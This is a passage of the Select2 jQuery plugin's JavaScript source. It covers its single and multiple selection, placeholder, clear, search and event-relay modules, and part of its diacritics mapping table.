    var id = container.id + '-container';

    this.$selection.find('.select2-selection__rendered')
      .attr('id', id)
      .attr('role', 'textbox')
      .attr('aria-readonly', 'true');
    this.$selection.attr('aria-labelledby', id);

    this.$selection.on('mousedown', function (evt) {
      // Only respond to left clicks
      if (evt.which !== 1) {
        return;
      }

      self.trigger('toggle', {
        originalEvent: evt
      });
    });

    this.$selection.on('focus', function (evt) {
      // User focuses on the container
    });

    this.$selection.on('blur', function (evt) {
      // User exits the container
    });

    container.on('focus', function (evt) {
      if (!container.isOpen()) {
        self.$selection.focus();
      }
    });
  };

  SingleSelection.prototype.clear = function () {
    var $rendered = this.$selection.find('.select2-selection__rendered');
    $rendered.empty();
    $rendered.removeAttr('title'); // clear tooltip on empty
  };

  SingleSelection.prototype.display = function (data, container) {
    var template = this.options.get('templateSelection');
    var escapeMarkup = this.options.get('escapeMarkup');

    return escapeMarkup(template(data, container));
  };

  SingleSelection.prototype.selectionContainer = function () {
    return $('<span></span>');
  };

  SingleSelection.prototype.update = function (data) {
    if (data.length === 0) {
      this.clear();
      return;
    }

    var selection = data[0];

    var $rendered = this.$selection.find('.select2-selection__rendered');
    var formatted = this.display(selection, $rendered);

    $rendered.empty().append(formatted);
    $rendered.attr('title', selection.title || selection.text);
  };

  return SingleSelection;
});

S2.define('select2/selection/multiple',[
  'jquery',
  './base',
  '../utils'
], function ($, BaseSelection, Utils) {
  function MultipleSelection ($element, options) {
    MultipleSelection.__super__.constructor.apply(this, arguments);
  }

  Utils.Extend(MultipleSelection, BaseSelection);

  MultipleSelection.prototype.render = function () {
    var $selection = MultipleSelection.__super__.render.call(this);

    $selection.addClass('select2-selection--multiple');

    $selection.html(
      '<ul class="select2-selection__rendered"></ul>'
    );

    return $selection;
  };

  MultipleSelection.prototype.bind = function (container, $container) {
    var self = this;

    MultipleSelection.__super__.bind.apply(this, arguments);

    this.$selection.on('click', function (evt) {
      self.trigger('toggle', {
        originalEvent: evt
      });
    });

    this.$selection.on(
      'click',
      '.select2-selection__choice__remove',
      function (evt) {
        // Ignore the event if it is disabled
        if (self.options.get('disabled')) {
          return;
        }

        var $remove = $(this);
        var $selection = $remove.parent();

        var data = Utils.GetData($selection[0], 'data');

        self.trigger('unselect', {
          originalEvent: evt,
          data: data
        });
      }
    );
  };

  MultipleSelection.prototype.clear = function () {
    var $rendered = this.$selection.find('.select2-selection__rendered');
    $rendered.empty();
    $rendered.removeAttr('title');
  };

  MultipleSelection.prototype.display = function (data, container) {
    var template = this.options.get('templateSelection');
    var escapeMarkup = this.options.get('escapeMarkup');

    return escapeMarkup(template(data, container));
  };

  MultipleSelection.prototype.selectionContainer = function () {
    var $container = $(
      '<li class="select2-selection__choice">' +
        '<span class="select2-selection__choice__remove" role="presentation">' +
          '&times;' +
        '</span>' +
      '</li>'
    );

    return $container;
  };

  MultipleSelection.prototype.update = function (data) {
    this.clear();

    if (data.length === 0) {
      return;
    }

    var $selections = [];

    for (var d = 0; d < data.length; d++) {
      var selection = data[d];

      var $selection = this.selectionContainer();
      var formatted = this.display(selection, $selection);

      $selection.append(formatted);
      $selection.attr('title', selection.title || selection.text);

      Utils.StoreData($selection[0], 'data', selection);

      $selections.push($selection);
    }

    var $rendered = this.$selection.find('.select2-selection__rendered');

    Utils.appendMany($rendered, $selections);
  };

  return MultipleSelection;
});

S2.define('select2/selection/placeholder',[
  '../utils'
], function (Utils) {
  function Placeholder (decorated, $element, options) {
    this.placeholder = this.normalizePlaceholder(options.get('placeholder'));

    decorated.call(this, $element, options);
  }

  Placeholder.prototype.normalizePlaceholder = function (_, placeholder) {
    if (typeof placeholder === 'string') {
      placeholder = {
        id: '',
        text: placeholder
      };
    }

    return placeholder;
  };

  Placeholder.prototype.createPlaceholder = function (decorated, placeholder) {
    var $placeholder = this.selectionContainer();

    $placeholder.html(this.display(placeholder));
    $placeholder.addClass('select2-selection__placeholder')
                .removeClass('select2-selection__choice');

    return $placeholder;
  };

  Placeholder.prototype.update = function (decorated, data) {
    var singlePlaceholder = (
      data.length == 1 && data[0].id != this.placeholder.id
    );
    var multipleSelections = data.length > 1;

    if (multipleSelections || singlePlaceholder) {
      return decorated.call(this, data);
    }

    this.clear();

    var $placeholder = this.createPlaceholder(this.placeholder);

    this.$selection.find('.select2-selection__rendered').append($placeholder);
  };

  return Placeholder;
});

S2.define('select2/selection/allowClear',[
  'jquery',
  '../keys',
  '../utils'
], function ($, KEYS, Utils) {
  function AllowClear () { }

  AllowClear.prototype.bind = function (decorated, container, $container) {
    var self = this;

    decorated.call(this, container, $container);

    if (this.placeholder == null) {
      if (this.options.get('debug') && window.console && console.error) {
        console.error(
          'Select2: The `allowClear` option should be used in combination ' +
          'with the `placeholder` option.'
        );
      }
    }

    this.$selection.on('mousedown', '.select2-selection__clear',
      function (evt) {
        self._handleClear(evt);
    });

    container.on('keypress', function (evt) {
      self._handleKeyboardClear(evt, container);
    });
  };

  AllowClear.prototype._handleClear = function (_, evt) {
    // Ignore the event if it is disabled
    if (this.options.get('disabled')) {
      return;
    }

    var $clear = this.$selection.find('.select2-selection__clear');

    // Ignore the event if nothing has been selected
    if ($clear.length === 0) {
      return;
    }

    evt.stopPropagation();

    var data = Utils.GetData($clear[0], 'data');

    var previousVal = this.$element.val();
    this.$element.val(this.placeholder.id);

    var unselectData = {
      data: data
    };
    this.trigger('clear', unselectData);
    if (unselectData.prevented) {
      this.$element.val(previousVal);
      return;
    }

    for (var d = 0; d < data.length; d++) {
      unselectData = {
        data: data[d]
      };

      // Trigger the `unselect` event, so people can prevent it from being
      // cleared.
      this.trigger('unselect', unselectData);

      // If the event was prevented, don't clear it out.
      if (unselectData.prevented) {
        this.$element.val(previousVal);
        return;
      }
    }

    this.$element.trigger('change');

    this.trigger('toggle', {});
  };

  AllowClear.prototype._handleKeyboardClear = function (_, evt, container) {
    if (container.isOpen()) {
      return;
    }

    if (evt.which == KEYS.DELETE || evt.which == KEYS.BACKSPACE) {
      this._handleClear(evt);
    }
  };

  AllowClear.prototype.update = function (decorated, data) {
    decorated.call(this, data);

    if (this.$selection.find('.select2-selection__placeholder').length > 0 ||
        data.length === 0) {
      return;
    }

    var $remove = $(
      '<span class="select2-selection__clear">' +
        '&times;' +
      '</span>'
    );
    Utils.StoreData($remove[0], 'data', data);

    this.$selection.find('.select2-selection__rendered').prepend($remove);
  };

  return AllowClear;
});

S2.define('select2/selection/search',[
  'jquery',
  '../utils',
  '../keys'
], function ($, Utils, KEYS) {
  function Search (decorated, $element, options) {
    decorated.call(this, $element, options);
  }

  Search.prototype.render = function (decorated) {
    var $search = $(
      '<li class="select2-search select2-search--inline">' +
        '<input class="select2-search__field" type="search" tabindex="-1"' +
        ' autocomplete="off" autocorrect="off" autocapitalize="none"' +
        ' spellcheck="false" role="textbox" aria-autocomplete="list" />' +
      '</li>'
    );

    this.$searchContainer = $search;
    this.$search = $search.find('input');

    var $rendered = decorated.call(this);

    this._transferTabIndex();

    return $rendered;
  };

  Search.prototype.bind = function (decorated, container, $container) {
    var self = this;

    decorated.call(this, container, $container);

    container.on('open', function () {
      self.$search.trigger('focus');
    });

    container.on('close', function () {
      self.$search.val('');
      self.$search.removeAttr('aria-activedescendant');
      self.$search.trigger('focus');
    });

    container.on('enable', function () {
      self.$search.prop('disabled', false);

      self._transferTabIndex();
    });

    container.on('disable', function () {
      self.$search.prop('disabled', true);
    });

    container.on('focus', function (evt) {
      self.$search.trigger('focus');
    });

    container.on('results:focus', function (params) {
      self.$search.attr('aria-activedescendant', params.id);
    });

    this.$selection.on('focusin', '.select2-search--inline', function (evt) {
      self.trigger('focus', evt);
    });

    this.$selection.on('focusout', '.select2-search--inline', function (evt) {
      self._handleBlur(evt);
    });

    this.$selection.on('keydown', '.select2-search--inline', function (evt) {
      evt.stopPropagation();

      self.trigger('keypress', evt);

      self._keyUpPrevented = evt.isDefaultPrevented();

      var key = evt.which;

      if (key === KEYS.BACKSPACE && self.$search.val() === '') {
        var $previousChoice = self.$searchContainer
          .prev('.select2-selection__choice');

        if ($previousChoice.length > 0) {
          var item = Utils.GetData($previousChoice[0], 'data');

          self.searchRemoveChoice(item);

          evt.preventDefault();
        }
      }
    });

    // Try to detect the IE version should the `documentMode` property that
    // is stored on the document. This is only implemented in IE and is
    // slightly cleaner than doing a user agent check.
    // This property is not available in Edge, but Edge also doesn't have
    // this bug.
    var msie = document.documentMode;
    var disableInputEvents = msie && msie <= 11;

    // Workaround for browsers which do not support the `input` event
    // This will prevent double-triggering of events for browsers which support
    // both the `keyup` and `input` events.
    this.$selection.on(
      'input.searchcheck',
      '.select2-search--inline',
      function (evt) {
        // IE will trigger the `input` event when a placeholder is used on a
        // search box. To get around this issue, we are forced to ignore all
        // `input` events in IE and keep using `keyup`.
        if (disableInputEvents) {
          self.$selection.off('input.search input.searchcheck');
          return;
        }

        // Unbind the duplicated `keyup` event
        self.$selection.off('keyup.search');
      }
    );

    this.$selection.on(
      'keyup.search input.search',
      '.select2-search--inline',
      function (evt) {
        // IE will trigger the `input` event when a placeholder is used on a
        // search box. To get around this issue, we are forced to ignore all
        // `input` events in IE and keep using `keyup`.
        if (disableInputEvents && evt.type === 'input') {
          self.$selection.off('input.search input.searchcheck');
          return;
        }

        var key = evt.which;

        // We can freely ignore events from modifier keys
        if (key == KEYS.SHIFT || key == KEYS.CTRL || key == KEYS.ALT) {
          return;
        }

        // Tabbing will be handled during the `keydown` phase
        if (key == KEYS.TAB) {
          return;
        }

        self.handleSearch(evt);
      }
    );
  };

  /**
   * This method will transfer the tabindex attribute from the rendered
   * selection to the search box. This allows for the search box to be used as
   * the primary focus instead of the selection container.
   *
   * @private
   */
  Search.prototype._transferTabIndex = function (decorated) {
    this.$search.attr('tabindex', this.$selection.attr('tabindex'));
    this.$selection.attr('tabindex', '-1');
  };

  Search.prototype.createPlaceholder = function (decorated, placeholder) {
    this.$search.attr('placeholder', placeholder.text);
  };

  Search.prototype.update = function (decorated, data) {
    var searchHadFocus = this.$search[0] == document.activeElement;

    this.$search.attr('placeholder', '');

    decorated.call(this, data);

    this.$selection.find('.select2-selection__rendered')
                   .append(this.$searchContainer);

    this.resizeSearch();
    if (searchHadFocus) {
      var isTagInput = this.$element.find('[data-select2-tag]').length;
      if (isTagInput) {
        // fix IE11 bug where tag input lost focus
        this.$element.focus();
      } else {
        this.$search.focus();
      }
    }
  };

  Search.prototype.handleSearch = function () {
    this.resizeSearch();

    if (!this._keyUpPrevented) {
      var input = this.$search.val();

      this.trigger('query', {
        term: input
      });
    }

    this._keyUpPrevented = false;
  };

  Search.prototype.searchRemoveChoice = function (decorated, item) {
    this.trigger('unselect', {
      data: item
    });

    this.$search.val(item.text);
    this.handleSearch();
  };

  Search.prototype.resizeSearch = function () {
    this.$search.css('width', '25px');

    var width = '';

    if (this.$search.attr('placeholder') !== '') {
      width = this.$selection.find('.select2-selection__rendered').innerWidth();
    } else {
      var minimumWidth = this.$search.val().length + 1;

      width = (minimumWidth * 0.75) + 'em';
    }

    this.$search.css('width', width);
  };

  return Search;
});

S2.define('select2/selection/eventRelay',[
  'jquery'
], function ($) {
  function EventRelay () { }

  EventRelay.prototype.bind = function (decorated, container, $container) {
    var self = this;
    var relayEvents = [
      'open', 'opening',
      'close', 'closing',
      'select', 'selecting',
      'unselect', 'unselecting',
      'clear', 'clearing'
    ];

    var preventableEvents = [
      'opening', 'closing', 'selecting', 'unselecting', 'clearing'
    ];

    decorated.call(this, container, $container);

    container.on('*', function (name, params) {
      // Ignore events that should not be relayed
      if ($.inArray(name, relayEvents) === -1) {
        return;
      }

      // The parameters should always be an object
      params = params || {};

      // Generate the jQuery event for the Select2 event
      var evt = $.Event('select2:' + name, {
        params: params
      });

      self.$element.trigger(evt);

      // Only handle preventable events if it was one
      if ($.inArray(name, preventableEvents) === -1) {
        return;
      }

      params.prevented = evt.isDefaultPrevented();
    });
  };

  return EventRelay;
});

S2.define('select2/translation',[
  'jquery',
  'require'
], function ($, require) {
  function Translation (dict) {
    this.dict = dict || {};
  }

  Translation.prototype.all = function () {
    return this.dict;
  };

  Translation.prototype.get = function (key) {
    return this.dict[key];
  };

  Translation.prototype.extend = function (translation) {
    this.dict = $.extend({}, translation.all(), this.dict);
  };

  // Static functions

  Translation._cache = {};

  Translation.loadPath = function (path) {
    if (!(path in Translation._cache)) {
      var translations = require(path);

      Translation._cache[path] = translations;
    }

    return new Translation(Translation._cache[path]);
  };

  return Translation;
});

S2.define('select2/diacritics',[

], function () {
  var diacritics = {
    '\u24B6': 'A',
    '\uFF21': 'A',
    '\u00C0': 'A',
    '\u00C1': 'A',
    '\u00C2': 'A',
    '\u1EA6': 'A',
    '\u1EA4': 'A',
    '\u1EAA': 'A',
    '\u1EA8': 'A',
    '\u00C3': 'A',
    '\u0100': 'A',
    '\u0102': 'A',
    '\u1EB0': 'A',
    '\u1EAE': 'A',
    '\u1EB4': 'A',
    '\u1EB2': 'A',
    '\u0226': 'A',
    '\u01E0': 'A',
    '\u00C4': 'A',
    '\u01DE': 'A',
    '\u1EA2': 'A',
    '\u00C5': 'A',
    '\u01FA': 'A',
    '\u01CD': 'A',
    '\u0200': 'A',
    '\u0202': 'A',
    '\u1EA0': 'A',
    '\u1EAC': 'A',
    '\u1EB6': 'A',
    '\u1E00': 'A',
    '\u0104': 'A',
    '\u023A': 'A',
    '\u2C6F': 'A',
    '\uA732': 'AA',
    '\u00C6': 'AE',
    '\u01FC': 'AE',
    '\u01E2': 'AE',
    '\uA734': 'AO',
    '\uA736': 'AU',
    '\uA738': 'AV',
    '\uA73A': 'AV',
    '\uA73C': 'AY',
    '\u24B7': 'B',
    '\uFF22': 'B',
    '\u1E02': 'B',
    '\u1E04': 'B',
    '\u1E06': 'B',
    '\u0243': 'B',
    '\u0182': 'B',
    '\u0181': 'B',
    '\u24B8': 'C',
    '\uFF23': 'C',
    '\u0106': 'C',
    '\u0108': 'C',
    '\u010A': 'C',
    '\u010C': 'C',
    '\u00C7': 'C',
    '\u1E08': 'C',
    '\u0187': 'C',
    '\u023B': 'C',
    '\uA73E': 'C',
    '\u24B9': 'D',
    '\uFF24': 'D',
    '\u1E0A': 'D',
    '\u010E': 'D',
    '\u1E0C': 'D',
    '\u1E10': 'D',
    '\u1E12': 'D',
    '\u1E0E': 'D',
    '\u0110': 'D',
    '\u018B': 'D',
    '\u018A': 'D',
    '\u0189': 'D',
    '\uA779': 'D',
    '\u01F1': 'DZ',
    '\u01C4': 'DZ',
    '\u01F2': 'Dz',
    '\u01C5': 'Dz',
    '\u24BA': 'E',
    '\uFF25': 'E',
    '\u00C8': 'E',
    '\u00C9': 'E',
    '\u00CA': 'E',
    '\u1EC0': 'E',
    '\u1EBE': 'E',
    '\u1EC4': 'E',
    '\u1EC2': 'E',
    '\u1EBC': 'E',
    '\u0112': 'E',
    '\u1E14': 'E',
    '\u1E16': 'E',
    '\u0114': 'E',
    '\u0116': 'E',
    '\u00CB': 'E',
    '\u1EBA': 'E',
    '\u011A': 'E',
    '\u0204': 'E',
    '\u0206': 'E',
    '\u1EB8': 'E',
    '\u1EC6': 'E',
    '\u0228': 'E',
    '\u1E1C': 'E',
    '\u0118': 'E',
    '\u1E18': 'E',
    '\u1E1A': 'E',
    '\u0190': 'E',
    '\u018E': 'E',
    '\u24BB': 'F',
    '\uFF26': 'F',
    '\u1E1E': 'F',
    '\u0191': 'F',
    '\uA77B': 'F',
    '\u24BC': 'G',
    '\uFF27': 'G',
    '\u01F4': 'G',
    '\u011C': 'G',
    '\u1E20': 'G',
    '\u011E': 'G',
    '\u0120': 'G',
    '\u01E6': 'G',
    '\u0122': 'G',
    '\u01E4': 'G',
    '\u0193': 'G',
    '\uA7A0': 'G',
    '\uA77D': 'G',
    '\uA77E': 'G',
    '\u24BD': 'H',
    '\uFF28': 'H',
    '\u0124': 'H',
    '\u1E22': 'H',
    '\u1E26': 'H',
    '\u021E': 'H',
    '\u1E24': 'H',
    '\u1E28': 'H',
    '\u1E2A': 'H',
    '\u0126': 'H',
    '\u2C67': 'H',
    '\u2C75': 'H',
    '\uA78D': 'H',
    '\u24BE': 'I',
    '\uFF29': 'I',
    '\u00CC': 'I',
    '\u00CD': 'I',
    '\u00CE': 'I',
    '\u0128': 'I',
    '\u012A': 'I',
    '\u012C': 'I',
    '\u0130': 'I',
    '\u00CF': 'I',
    '\u1E2E': 'I',
    '\u1EC8': 'I',
    '\u01CF': 'I',
    '\u0208': 'I',
    '\u020A': 'I',
    '\u1ECA': 'I',
    '\u012E': 'I',
    '\u1E2C': 'I',
    '\u0197': 'I',
    '\u24BF': 'J',
    '\uFF2A': 'J',
    '\u0134': 'J',
    '\u0248': 'J',
    '\u24C0': 'K',
    '\uFF2B': 'K',
    '\u1E30': 'K',
    '\u01E8': 'K',
    '\u1E32': 'K',
    '\u0136': 'K',
    '\u1E34': 'K',
    '\u0198': 'K',
    '\u2C69': 'K',
    '\uA740': 'K',
    '\uA742': 'K',
    '\uA744': 'K',
    '\uA7A2': 'K',
    '\u24C1': 'L',
    '\uFF2C': 'L',
    '\u013F': 'L',
    '\u0139': 'L',
    '\u013D': 'L',
    '\u1E36': 'L',
    '\u1E38': 'L',
    '\u013B': 'L',
    '\u1E3C': 'L',
    '\u1E3A': 'L',
    '\u0141': 'L',
    '\u023D': 'L',
    '\u2C62': 'L',
    '\u2C60': 'L',
    '\uA748': 'L',
    '\uA746': 'L',
    '\uA780': 'L',
    '\u01C7': 'LJ',
    '\u01C8': 'Lj',
    '\u24C2': 'M',
    '\uFF2D': 'M',
    '\u1E3E': 'M',
    '\u1E40': 'M',
    '\u1E42': 'M',
    '\u2C6E': 'M',
    '\u019C': 'M',
    '\u24C3': 'N',
    '\uFF2E': 'N',
    '\u01F8': 'N',
    '\u0143': 'N',
    '\u00D1': 'N',
    '\u1E44': 'N',
    '\u0147': 'N',
    '\u1E46': 'N',
    '\u0145': 'N',
    '\u1E4A': 'N',
    '\u1E48': 'N',
    '\u0220': 'N',
    '\u019D': 'N',
    '\uA790': 'N',
    '\uA7A4': 'N',
    '\u01CA': 'NJ',
    '\u01CB': 'Nj',
    '\u24C4': 'O',
    '\uFF2F': 'O',
    '\u00D2': 'O',
    '\u00D3': 'O',
    '\u00D4': 'O',
    '\u1ED2': 'O',
    '\u1ED0': 'O',
    '\u1ED6': 'O',
    '\u1ED4': 'O',
    '\u00D5': 'O',
    '\u1E4C': 'O',
    '\u022C': 'O',
    '\u1E4E': 'O',
    '\u014C': 'O',
    '\u1E50': 'O',
    '\u1E52': 'O',
    '\u014E': 'O',
    '\u022E': 'O',
    '\u0230': 'O',
    '\u00D6': 'O',
    '\u022A': 'O',
    '\u1ECE': 'O',
    '\u0150': 'O',
    '\u01D1': 'O',
    '\u020C': 'O',
    '\u020E': 'O',
    '\u01A0': 'O',
    '\u1EDC': 'O',
    '\u1EDA': 'O',
    '\u1EE0': 'O',
    '\u1EDE': 'O',
    '\u1EE2': 'O',
    '\u1ECC': 'O',
    '\u1ED8': 'O',
    '\u01EA': 'O',
    '\u01EC': 'O',
    '\u00D8': 'O',
    '\u01FE': 'O',
    '\u0186': 'O',
    '\u019F': 'O',
    '\uA74A': 'O',
    '\uA74C': 'O',
    '\u01A2': 'OI',
    '\uA74E': 'OO',
    '\u0222': 'OU',
    '\u24C5': 'P',
    '\uFF30': 'P',
    '\u1E54': 'P',
    '\u1E56': 'P',
    '\u01A4': 'P',
    '\u2C63': 'P',
    '\uA750': 'P',
    '\uA752': 'P',
    '\uA754': 'P',
    '\u24C6': 'Q',
    '\uFF31': 'Q',
    '\uA756': 'Q',
    '\uA758': 'Q',
    '\u024A': 'Q',
    '\u24C7': 'R',
    '\uFF32': 'R',
    '\u0154': 'R',
    '\u1E58': 'R',
    '\u0158': 'R',
    '\u0210': 'R',
    '\u0212': 'R',
    '\u1E5A': 'R',
    '\u1E5C': 'R',
    '\u0156': 'R',
    '\u1E5E': 'R',
    '\u024C': 'R',
    '\u2C64': 'R',
    '\uA75A': 'R',
    '\uA7A6': 'R',
    '\uA782': 'R',
    '\u24C8': 'S',
    '\uFF33': 'S',
    '\u1E9E': 'S',
    '\u015A': 'S',
    '\u1E64': 'S',
    '\u015C': 'S',
    '\u1E60': 'S',
    '\u0160': 'S',
    '\u1E66': 'S',
    '\u1E62': 'S',
    '\u1E68': 'S',
    '\u0218': 'S',
    '\u015E': 'S',
    '\u2C7E': 'S',
    '\uA7A8': 'S',
    '\uA784': 'S',
    '\u24C9': 'T',
    '\uFF34': 'T',
    '\u1E6A': 'T',
    '\u0164': 'T',
    '\u1E6C': 'T',
    '\u021A': 'T',
    '\u0162': 'T',
    '\u1E70': 'T',
    '\u1E6E': 'T',
    '\u0166': 'T',
    '\u01AC': 'T',
    '\u01AE': 'T',
    '\u023E': 'T',
    '\uA786': 'T',
    '\uA728': 'TZ',
    '\u24CA': 'U',
    '\uFF35': 'U',
    '\u00D9': 'U',
    '\u00DA': 'U',
    '\u00DB': 'U',
    '\u0168': 'U',
    '\u1E78': 'U',
    '\u016A': 'U',
    '\u1E7A': 'U',
    '\u016C': 'U',
    '\u00DC': 'U',
    '\u01DB': 'U',
    '\u01D7': 'U',
    '\u01D5': 'U',
    '\u01D9': 'U',
    '\u1EE6': 'U',
    '\u016E': 'U',
    '\u0170': 'U',
    '\u01D3': 'U',
    '\u0214': 'U',
    '\u0216': 'U',
    '\u01AF': 'U',
    '\u1EEA': 'U',
    '\u1EE8': 'U',
    '\u1EEE': 'U',
    '\u1EEC': 'U',
    '\u1EF0': 'U',
    '\u1EE4': 'U',
    '\u1E72': 'U',
    '\u0172': 'U',
    '\u1E76': 'U',
    '\u1E74': 'U',
    '\u0244': 'U',
    '\u24CB': 'V',
    '\uFF36': 'V',
    '\u1E7C': 'V',
    '\u1E7E': 'V',
    '\u01B2': 'V',
    '\uA75E': 'V',
    '\u0245': 'V',
    '\uA760': 'VY',
    '\u24CC': 'W',
    '\uFF37': 'W',
    '\u1E80': 'W',
    '\u1E82': 'W',
    '\u0174': 'W',
    '\u1E86': 'W',
    '\u1E84': 'W',
    '\u1E88': 'W',
    '\u2C72': 'W',
    '\u24CD': 'X',
    '\uFF38': 'X',
    '\u1E8A': 'X',
    '\u1E8C': 'X',
    '\u24CE': 'Y',
    '\uFF39': 'Y',
    '\u1EF2': 'Y',
    '\u00DD': 'Y',
    '\u0176': 'Y',
    '\u1EF8': 'Y',
    '\u0232': 'Y',
    '\u1E8E': 'Y',
    '\u0178': 'Y',
    '\u1EF6': 'Y',
    '\u1EF4': 'Y',
    '\u01B3': 'Y',
    '\u024E': 'Y',
    '\u1EFE': 'Y',
    '\u24CF': 'Z',
    '\uFF3A': 'Z',
    '\u0179': 'Z',
    '\u1E90': 'Z',
    '\u017B': 'Z',
    '\u017D': 'Z',
    '\u1E92': 'Z',
    '\u1E94': 'Z',
    '\u01B5': 'Z',
    '\u0224': 'Z',
    '\u2C7F': 'Z',
    '\u2C6B': 'Z',
    '\uA762': 'Z',
    '\u24D0': 'a',
    '\uFF41': 'a',
    '\u1E9A': 'a',
    '\u00E0': 'a',
    '\u00E1': 'a',
    '\u00E2': 'a',
    '\u1EA7': 'a',
    '\u1EA5': 'a',
    '\u1EAB': 'a',
    '\u1EA9': 'a',
    '\u00E3': 'a',
    '\u0101': 'a',
    '\u0103': 'a',
    '\u1EB1': 'a',
    '\u1EAF': 'a',
    '\u1EB5': 'a',
    '\u1EB3': 'a',
    '\u0227': 'a',
    '\u01E1': 'a',
    '\u00E4': 'a',
    '\u01DF': 'a',
    '\u1EA3': 'a',
    '\u00E5': 'a',
    '\u01FB': 'a',
    '\u01CE': 'a',
    '\u0201': 'a',
    '\u0203': 'a',
    '\u1EA1': 'a',
    '\u1EAD': 'a',
    '\u1EB7': 'a',
    '\u1E01': 'a',
    '\u0105': 'a',
    '\u2C65': 'a',
    '\u0250': 'a',
    '\uA733': 'aa',
    '\u00E6': 'ae',
    '\u01FD': 'ae',
    '\u01E3': 'ae',
    '\uA735': 'ao',
    '\uA737': 'au',
    '\uA739': 'av',
    '\uA73B': 'av',
    '\uA73D': 'ay',
    '\u24D1': 'b',
    '\uFF42': 'b',
    '\u1E03': 'b',
    '\u1E05': 'b',
    '\u1E07': 'b',
    '\u0180': 'b',
    '\u0183': 'b',
    '\u0253': 'b',
    '\u24D2': 'c',
    '\uFF43': 'c',
    '\u0107': 'c',
    '\u0109': 'c',
    '\u010B': 'c',
    '\u010D': 'c',
    '\u00E7': 'c',
    '\u1E09': 'c',
    '\u0188': 'c',
    '\u023C': 'c',
    '\uA73F': 'c',
    '\u2184': 'c',
    '\u24D3': 'd',
    '\uFF44': 'd',
    '\u1E0B': 'd',
    '\u010F': 'd',
    '\u1E0D': 'd',
    '\u1E11': 'd',
    '\u1E13': 'd',
    '\u1E0F': 'd',
    '\u0111': 'd',
    '\u018C': 'd',
    '\u0256': 'd',
    '\u0257': 'd',
    '\uA77A': 'd',
    '\u01F3': 'dz',
    '\u01C6': 'dz',
    '\u24D4': 'e',
    '\uFF45': 'e',
    '\u00E8': 'e',
    '\u00E9': 'e',
    '\u00EA': 'e',
    '\u1EC1': 'e',
    '\u1EBF': 'e',
    '\u1EC5': 'e',
    '\u1EC3': 'e',
    '\u1EBD': 'e',
    '\u0113': 'e',
    '\u1E15': 'e',
    '\u1E17': 'e',
    '\u0115': 'e',
    '\u0117': 'e',
    '\u00EB': 'e',
    '\u1EBB': 'e',
    '\u011B': 'e',
    '\u0205': 'e',
    '\u0207': 'e',
    '\u1EB9': 'e',
    '\u1EC7': 'e',
    '\u0229': 'e',
    '\u1E1D': 'e',
    '\u0119': 'e',
    '\u1E19': 'e',
    '\u1E1B': 'e',
    '\u0247': 'e',
    '\u025B': 'e',
    '\u01DD': 'e',
    '\u24D5': 'f',
    '\uFF46': 'f',
    '\u1E1F': 'f',
    '\u0192': 'f',
    '\uA77C': 'f',
    '\u24D6': 'g',
    '\uFF47': 'g',
    '\u01F5': 'g',
    '\u011D': 'g',
    '\u1E21': 'g',
    '\u011F': 'g',
    '\u0121': 'g',
    '\u01E7': 'g',
    '\u0123': 'g',
    '\u01E5': 'g',
    '\u0260': 'g',
    '\uA7A1': 'g',
    '\u1D79': 'g',
    '\uA77F': 'g',
    '\u24D7': 'h',
    '\uFF48': 'h',
    '\u0125': 'h',
    '\u1E23': 'h',
    '\u1E27': 'h',
    '\u021F': 'h',
    '\u1E25': 'h',
    '\u1E29': 'h',
    '\u1E2B': 'h',
    '\u1E96': 'h',
    '\u0127': 'h',
    '\u2C68': 'h',
    '\u2C76': 'h',
    '\u0265': 'h',
    '\u0195': 'hv',
    '\u24D8': 'i',
    '\uFF49': 'i',
    '\u00EC': 'i',
    '\u00ED': 'i',
    '\u00EE': 'i',
    '\u0129': 'i',
    '\u012B': 'i',
    '\u012D': 'i',
    '\u00EF': 'i',
    '\u1E2F': 'i',
    '\u1EC9': 'i',
    '\u01D0': 'i',
    '\u0209': 'i',
    '\u020B': 'i',
    '\u1ECB': 'i',
    '\u012F': 'i',
    '\u1E2D': 'i',
    '\u0268': 'i',
    '\u0131': 'i',
    '\u24D9': 'j',
    '\uFF4A': 'j',
    '\u0135': 'j',
    '\u01F0': 'j',
    '\u0249': 'j',
    '\u24DA': 'k',
    '\uFF4B': 'k',
    '\u1E31': 'k',
    '\u01E9': 'k',
    '\u1E33': 'k',
    '\u0137': 'k',
    '\u1E35': 'k',
    '\u0199': 'k',
    '\u2C6A': 'k',
    '\uA741': 'k',
    '\uA743': 'k',
    '\uA745': 'k',
    '\uA7A3': 'k',
    '\u24DB': 'l',
    '\uFF4C': 'l',
    '\u0140': 'l',
    '\u013A': 'l',
    '\u013E': 'l',
    '\u1E37': 'l',
    '\u1E39': 'l',
    '\u013C': 'l',
    '\u1E3D': 'l',
    '\u1E3B': 'l',
    '\u017F': 'l',
    '\u0142': 'l',
    '\u019A': 'l',
    '\u026B': 'l',
    '\u2C61': 'l',
    '\uA749': 'l',
    '\uA781': 'l',
    '\uA747': 'l',
    '\u01C9': 'lj',
    '\u24DC': 'm',
    '\uFF4D': 'm',
    '\u1E3F': 'm',
    '\u1E41': 'm',
    '\u1E43': 'm',
    '\u0271': 'm',
    '\u026F': 'm',
    '\u24DD': 'n',
    '\uFF4E': 'n',
    '\u01F9': 'n',
    '\u0144': 'n',
    '\u00F1': 'n',
    '\u1E45': 'n',
    '\u0148': 'n',
    '\u1E47': 'n',
    '\u0146': 'n',
    '\u1E4B': 'n',
    '\u1E49': 'n',
    '\u019E': 'n',
    '\u0272': 'n',
    '\u0149': 'n',
    '\uA791': 'n',
    '\uA7A5': 'n',
    '\u01CC': 'nj',
    '\u24DE': 'o',
    '\uFF4F': 'o',
    '\u00F2': 'o',
    '\u00F3': 'o',
    '\u00F4': 'o',
    '\u1ED3': 'o',
    '\u1ED1': 'o',
    '\u1ED7': 'o',
    '\u1ED5': 'o',
    '\u00F5': 'o',
    '\u1E4D': 'o',
    '\u022D': 'o',
    '\u1E4F': 'o',
    '\u014D': 'o',
    '\u1E51': 'o',
    '\u1E53': 'o',
    '\u014F': 'o',
    '\u022F': 'o',
    '\u0231': 'o',
    '\u00F6': 'o',
    '\u022B': 'o',
    '\u1ECF': 'o',
    '\u0151': 'o',
    '\u01D2': 'o',
    '\u020D': 'o',
    '\u020F': 'o',
    '\u01A1': 'o',
    '\u1EDD': 'o',
    '\u1EDB': 'o',
    '\u1EE1': 'o',
    '\u1EDF': 'o',
    '\u1EE3': 'o',
    '\u1ECD': 'o',
    '\u1ED9': 'o',
    '\u01EB': 'o',
    '\u01ED': 'o',
    '\u00F8': 'o',
    '\u01FF': 'o',
    '\u0254': 'o',
    '\uA74B': 'o',
    '\uA74D': 'o',
    '\u0275': 'o',
